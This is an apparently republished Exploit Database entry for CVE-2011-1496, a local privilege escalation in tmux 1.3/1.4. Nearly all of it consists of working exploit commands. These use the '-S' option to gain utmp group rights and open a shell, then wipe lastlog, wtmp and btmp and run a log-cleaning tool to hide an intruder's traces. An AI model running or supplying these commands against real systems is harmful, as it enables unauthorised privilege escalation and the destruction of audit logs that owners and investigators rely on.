tmux 1.3/1.4 – ‘-S’ Option Incorrect SetGID Privilege Escalation

• Exploit Database
• 109 阅读

• 作者： ph0x90bic
  日期： 2011-04-11
• 类别：

  • local
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/17147/
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  --------------------------------------- | Team ph0x90bic proudly presents | | tmux -S 1.3/1.4 local utmp exploit| ---------------------------------------   # Exploit Title: tmux '-S' Option Incorrect SetGID Local Privilege Escalation Vulnerability # Date: 11.04.2011 # Author: ph0x90bic # Software Link: http://tmux.sourceforge.net/ # Version: 1.3/1.4 # Tested on: Linux debian 2.6.26-1-686 # CVE : CVE-2011-1496   ---   INTRODUCTION   tmux 1.3/1.4 contains a privilege escalation vulnerabillity, which gives you utmp group privileges. This bug is important, because it is possible to clean logfiles and use logcleaners for btmp, wtmp and lastlog without local root access.   ---   EXPLOIT   Execute shell as utmp group   $ tmux -S /tmp/.whateveryouwant -c id uid=1001(company) gid=1001(company) egid=43(utmp), groups=1001(company)   $ tmux -S /tmp/.whateveryouwant -c /bin/sh $ id uid=1001(company) gid=1001(company) egid=43(utmp), groups=1001(company)   --   Delete logfiles   $ tmux -S /tmp/.whateveryouwant -c '> /var/log/lastlog' $ tmux -S /tmp/.whateveryouwant -c '> /var/log/wtmp' $ tmux -S /tmp/.whateveryouwant -c '> /var/log/btmp'   --   Use logcleaner software   $ tmux -S /tmp/.whateveryouwant -c /tmp/thcclear13/cleara hacker-username